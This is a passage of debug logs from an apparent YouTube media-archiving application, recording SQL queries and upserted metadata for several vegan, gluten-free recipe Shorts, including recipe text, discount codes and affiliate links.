("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThe best protein brownies! They're vegan, gluten-free and DELISH!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nMusic by Mark Generous - Orange And Pomegranate - https://thmatc.co/?l=B521F325", "THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts", "4d705628-3116-449f-a565-902f3ae36cc6", 1, [], 41, false, "IEaKiyiZNxA", "https://www.youtube.com/shorts/IEaKiyiZNxA", 161, "/downloads/downloads/alec/Steamy Vegan/2023-05-15 THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts/THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts [IEaKiyiZNxA].NA", false, false, true, 0, ~U[2023-05-15 15:58:04Z], ~U[2026-03-22 03:26:06Z], ~U[2026-03-22 03:26:06Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nThe best protein brownies! They're vegan, gluten-free and DELISH!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\nMusic by Mark Generous - Orange And Pomegranate - https://thmatc.co/?l=B521F325", "THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts", 1, 41, false, "IEaKiyiZNxA", "https://www.youtube.com/shorts/IEaKiyiZNxA", "/downloads/downloads/alec/Steamy Vegan/2023-05-15 THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts/THE BEST PROTEIN BROWNIES! Vegan, gluten-free #youtubeshorts #shorts [IEaKiyiZNxA].NA", true, ~U[2023-05-15 15:58:04Z]] 20:26:06.152 [debug] QUERY OK source="sources" db=0.4ms idle=142.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:06.152 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:06.153 [debug] QUERY OK source="media_items" db=0.3ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [550] 20:26:06.153 [debug] Current batch of media processed. Will check again in 1000ms 20:26:07.154 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nPROTEIN 💪🏼 FUDGE BARS / vegan, gluten-free, out of this world delicious!\n\nSatisfy a sweet tooth AND have a high-protein snack? Sounds like you can have your fudge and eat it too. 😉\n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1 bar (100g) dark chocolate, melted\n1/2 cup hemp hearts\n1 cup plant-based protein powder\n1 tsp vanilla\n1/4 cup maple syrup\n\n1. Add the coconut oil to a saucepan and let it melt on medium heat. Once it’s mostly melted add your nut or seed butter.\n2. Pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat.\n3. Add the vanilla extract, protein powder, and hemp seeds and combine until it’s a completely uniform mixture. A wooden spoon is best!\n4. Line a 9x9” square tin with parchment paper. Carefully spoon out the (now very thick) nut butter mixture into the tin. Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside.\n5. Pour the melted chocolate over your protein bar mixture and from there just spread it out in an even layer with the back of a spoon, ensuring the entire base is covered.\n6. Garnish with a sprinkle of flakey sea salt and place the tin in the fridge for at least 2 hours to set.\nSlice into bars and enjoy!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "duration" => 36, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-13 PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts/PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts [lW8tQyiwRQ4].NA", "id" => "lW8tQyiwRQ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/lW8tQyiwRQ4", "playlist_index" => 162, "timestamp" => 1683987472, "title" => "PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts", "upload_date" => "20230513"} 20:26:07.155 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:07.156 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:07.158 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-13 14:17:52Z], 1] 20:26:07.160 [debug] QUERY OK source="media_items" db=1.4ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nPROTEIN 💪🏼 FUDGE BARS / vegan, gluten-free, out of this world delicious!\n\nSatisfy a sweet tooth AND have a high-protein snack? Sounds like you can have your fudge and eat it too. 😉\n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1 bar (100g) dark chocolate, melted\n1/2 cup hemp hearts\n1 cup plant-based protein powder\n1 tsp vanilla\n1/4 cup maple syrup\n\n1. Add the coconut oil to a saucepan and let it melt on medium heat. Once it’s mostly melted add your nut or seed butter.\n2. Pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat.\n3. Add the vanilla extract, protein powder, and hemp seeds and combine until it’s a completely uniform mixture. A wooden spoon is best!\n4. Line a 9x9” square tin with parchment paper. Carefully spoon out the (now very thick) nut butter mixture into the tin. Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside.\n5. Pour the melted chocolate over your protein bar mixture and from there just spread it out in an even layer with the back of a spoon, ensuring the entire base is covered.\n6. Garnish with a sprinkle of flakey sea salt and place the tin in the fridge for at least 2 hours to set.\nSlice into bars and enjoy!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts", "50082329-9110-4339-ba8a-9bbc7335087f", 1, [], 36, false, "lW8tQyiwRQ4", "https://www.youtube.com/shorts/lW8tQyiwRQ4", 162, "/downloads/downloads/alec/Steamy Vegan/2023-05-13 PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts/PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts [lW8tQyiwRQ4].NA", false, false, true, 0, ~U[2023-05-13 14:17:52Z], ~U[2026-03-22 03:26:07Z], ~U[2026-03-22 03:26:07Z], "Use code STEAMYVEGANKITCHEN30 at goodprotein.ca for 30% off your first order!\n\nPROTEIN 💪🏼 FUDGE BARS / vegan, gluten-free, out of this world delicious!\n\nSatisfy a sweet tooth AND have a high-protein snack? Sounds like you can have your fudge and eat it too. 😉\n\nINGREDIENTS: \n1 jar (375g) nut or seed butter\n1/2 cup coconut oil\n1 bar (100g) dark chocolate, melted\n1/2 cup hemp hearts\n1 cup plant-based protein powder\n1 tsp vanilla\n1/4 cup maple syrup\n\n1. Add the coconut oil to a saucepan and let it melt on medium heat. Once it’s mostly melted add your nut or seed butter.\n2. Pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat.\n3. Add the vanilla extract, protein powder, and hemp seeds and combine until it’s a completely uniform mixture. A wooden spoon is best!\n4. Line a 9x9” square tin with parchment paper. Carefully spoon out the (now very thick) nut butter mixture into the tin. Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside.\n5. Pour the melted chocolate over your protein bar mixture and from there just spread it out in an even layer with the back of a spoon, ensuring the entire base is covered.\n6. Garnish with a sprinkle of flakey sea salt and place the tin in the fridge for at least 2 hours to set.\nSlice into bars and enjoy!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n\nMusic by Mark Generous - Meganne - https://thmatc.co/?l=EB798C7A", "PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts", 1, 36, false, "lW8tQyiwRQ4", "https://www.youtube.com/shorts/lW8tQyiwRQ4", "/downloads/downloads/alec/Steamy Vegan/2023-05-13 PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts/PROTEIN 💪🏻 FUDGE BARS — vegan, gluten-free, deadly good #youtubeshorts #shorts [lW8tQyiwRQ4].NA", true, ~U[2023-05-13 14:17:52Z]] 20:26:07.161 [debug] QUERY OK source="sources" db=0.2ms idle=147.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:07.161 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:07.162 [debug] QUERY OK source="media_items" db=0.4ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [551] 20:26:07.162 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's easier than you think to make a vegan gluten-free pie crust! No weird or expensive ingredients and it turns out amazing every time.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/complement-organic-vegan-plant-based-protein-unflavored?aff=578\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "duration" => 38, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-12 How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧/How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧 [5Wb4Ul_0JIU].NA", "id" => "5Wb4Ul_0JIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/5Wb4Ul_0JIU", "playlist_index" => 163, "timestamp" => 1683903523, "title" => "How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧", "upload_date" => "20230512"} 20:26:07.163 [debug] QUERY OK source="sources" db=0.9ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:07.164 [debug] QUERY OK source="sources" db=0.3ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:07.166 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=3.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-12 14:58:43Z], 1] 20:26:07.168 [debug] QUERY OK source="media_items" db=1.3ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's easier than you think to make a vegan gluten-free pie crust! No weird or expensive ingredients and it turns out amazing every time.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/complement-organic-vegan-plant-based-protein-unflavored?aff=578\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧", "3c867dcd-6c50-46c5-9248-dc8571b533d1", 1, [], 38, false, "5Wb4Ul_0JIU", "https://www.youtube.com/shorts/5Wb4Ul_0JIU", 163, "/downloads/downloads/alec/Steamy Vegan/2023-05-12 How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧/How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧 [5Wb4Ul_0JIU].NA", false, false, true, 0, ~U[2023-05-12 14:58:43Z], ~U[2026-03-22 03:26:07Z], ~U[2026-03-22 03:26:07Z], "It's easier than you think to make a vegan gluten-free pie crust! No weird or expensive ingredients and it turns out amazing every time.\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/complement-organic-vegan-plant-based-protein-unflavored?aff=578\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle", "How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧", 1, 38, false, "5Wb4Ul_0JIU", "https://www.youtube.com/shorts/5Wb4Ul_0JIU", "/downloads/downloads/alec/Steamy Vegan/2023-05-12 How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧/How to make VEGAN GLUTEN-FREE PIE CRUST! 🥧 [5Wb4Ul_0JIU].NA", true, ~U[2023-05-12 14:58:43Z]] 20:26:07.168 [debug] QUERY OK source="sources" db=0.3ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:07.169 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:07.170 [debug] QUERY OK source="media_items" db=0.5ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [552] 20:26:07.170 [debug] Current batch of media processed. Will check again in 1000ms 20:26:08.171 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Strawberry 🍓 Rhubarb Pie 🥧 VEGAN, GLUTEN-FREE! ✨ it’s the most wonderful time of the year! \n\nLate spring and early summer is the season for STRAWBERRY RHUBARB EVERYTHING! And this pie does not disappoint. 🤩 The crust is tender, flakey with just enough chew, and the fruit filling is perfectly sweet and tart ♥️ \n\nFULL RECIPE VIDEO ➡️ https://youtu.be/42Ra2CeeUM8\nRECIPE BLOG ➡️ https://steamyvegankitchen.com/strawberry-rhubarb-pie/#wprm-recipe-container-1972\n\nFILLING 🍓\nFresh strawberries \n2 stalks rhubarb \nMaple syrup\nVanilla extract \nTapioca starch \nSalt\n\nCRUST 🥧 \nAlmond flour \nBrown rice flour \nCoconut sugar + agave syrup \nFlax eggs \nBaking powder \nAvocado oil \n\n#strawberryseason #strawberryrhubarb #strawberryrhubarbpie #vegandesserts #glutenfreedesserts #veganglutenfree #veganglutenfreerecipes #veganglutenfreebaking #pie #summerrecipe #steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #veganeats #vegan #veganfoodshare #veganfood #veganrecipes #glutenfree #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #easyvegan #glutenfreelife #vegansofig #feedfeedvegan #feedfeedglutenfree\n\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "duration" => 35, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-05-11 Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!/Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe! [Q0bK5NsmpdY].NA", "id" => "Q0bK5NsmpdY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Q0bK5NsmpdY", "playlist_index" => 164, "timestamp" => 1683842359, "title" => "Strawberry 🍓 Rhubarb Pie! 🥧 VEGAN + GLUTEN-FREE recipe!", "upload_date" => "20230511"} 20:26:08.172 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:08.173 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:08.175 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-11 21:59:19Z], 1] 20:26:08.185 [debug] QUERY OK source="media_items" db=9.0ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Strawberry 🍓 Rhubarb Pie 🥧 VEGAN, GLUTEN-FREE! ✨ it’s the most wonderful time of the year! \n\nLate spring and early summer is the season for STRAWBERRY RHUBARB EVERYTHING! And this pie does not disappoint. 🤩 The crust is tender, flakey with just enough chew, and the fruit filling is perfectly sweet and tart ♥️ \n\nFULL RECIPE VIDEO ➡️ https://youtu.be/42Ra2CeeUM8\nRECIPE BLOG ➡️ https://steamyvegankitchen.com/strawberry-rhubarb-pie/#wprm-recipe-container-1972\n\nFILLING 🍓\nFresh strawberries \n2 stalks rhubarb \nMaple syrup\nVanilla extract \nTapioca starch \nSalt\n\nCRUST 🥧 \nAlmond flour \nBrown rice flour \nCoconut sugar + agave syrup \nFlax eggs \nBaking powder \nAvocado oil \n\n#strawberryseason #strawberryrhubarb #strawberryrhubarbpie #vegandesserts #glutenfreedesserts #veganglutenfree #veganglutenfreerecipes #veganglutenfreebaking #pie #summerrecipe #steamyvegankitchen 